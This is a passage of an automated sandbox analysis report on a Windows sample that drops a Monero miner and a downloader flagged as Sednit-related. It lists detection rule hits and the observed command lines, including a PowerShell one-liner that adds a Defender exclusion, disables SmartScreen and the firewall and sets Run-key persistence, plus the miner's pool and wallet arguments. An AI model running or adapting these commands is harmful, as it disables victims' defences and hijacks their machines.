              Source: 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000025.00000002.473138674.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000025.00000002.473138674.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000047.00000002.572303797.00000000007ED000.00000004.00000010.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000008.00000002.414869186.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000008.00000002.414869186.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000048.00000000.493131421.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000048.00000000.493131421.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: Process Memory Space: Database.exe PID: 6524, type: MEMORYSTRMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: Process Memory Space: Database.exe PID: 6524, type: MEMORYSTRMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: Process Memory Space: UpSys.exe PID: 4824, type: MEMORYSTRMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: Process Memory Space: Database.exe PID: 7152, type: MEMORYSTRMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: Process Memory Space: Database.exe PID: 7152, type: MEMORYSTRMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: Process Memory Space: UpSys.exe PID: 4440, type: MEMORYSTRMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\Windows\Temp\lzrtlkc, type: DROPPEDMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\Windows\Temp\wumeift, type: DROPPEDMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\Windows\Temp\yhdzsbk, type: DROPPEDMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\Windows\Temp\knfamxr, type: DROPPEDMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\Users\user\AppData\Local\Temp\strthiu, type: DROPPEDMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\Users\user\AppData\Local\Temp\pwjrtgc, type: DROPPEDMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: C:\ProgramData\Systemd\Database.exe, type: DROPPEDMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: C:\ProgramData\Systemd\Database.exe, type: DROPPEDMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: C:\ProgramData\UpSys.exeFile deleted: C:\Windows\Temp\aut495E.tmp
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400407D0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,35_2_00000001400407D0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
              Source: C:\ProgramData\UpSys.exeCode function: String function: 0000000140016ED8 appears 32 times
              Source: C:\ProgramData\UpSys.exeCode function: String function: 00000001400526A0 appears 66 times
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014003EC70: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,35_2_000000014003EC70
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: SecurityJump to behavior
              Source: 2dOeahdsto.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: exe.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\ProgramData\MicrosoftNetwork\System.exe
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMDJump to behavior
              Source: classification engineClassification label: mal100.troj.evad.mine.winEXE@300/39@5/5
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140058E50 GetLastError,FormatMessageW,35_2_0000000140058E50
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140040420 FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,35_2_0000000140040420
              Source: 2dOeahdsto.exeVirustotal: Detection: 72%
              Source: 2dOeahdsto.exeMetadefender: Detection: 25%
              Source: 2dOeahdsto.exeReversingLabs: Detection: 69%
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile read: C:\Users\user\Desktop\2dOeahdsto.exeJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\2dOeahdsto.exe "C:\Users\user\Desktop\2dOeahdsto.exe"
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: unknownProcess created: C:\ProgramData\MicrosoftNetwork\System.exe "C:\ProgramData\MicrosoftNetwork\System.exe"
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\ProgramData\UpSys.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\taskkill.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\UpSys.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\ProgramData\UpSys.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\taskkill.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
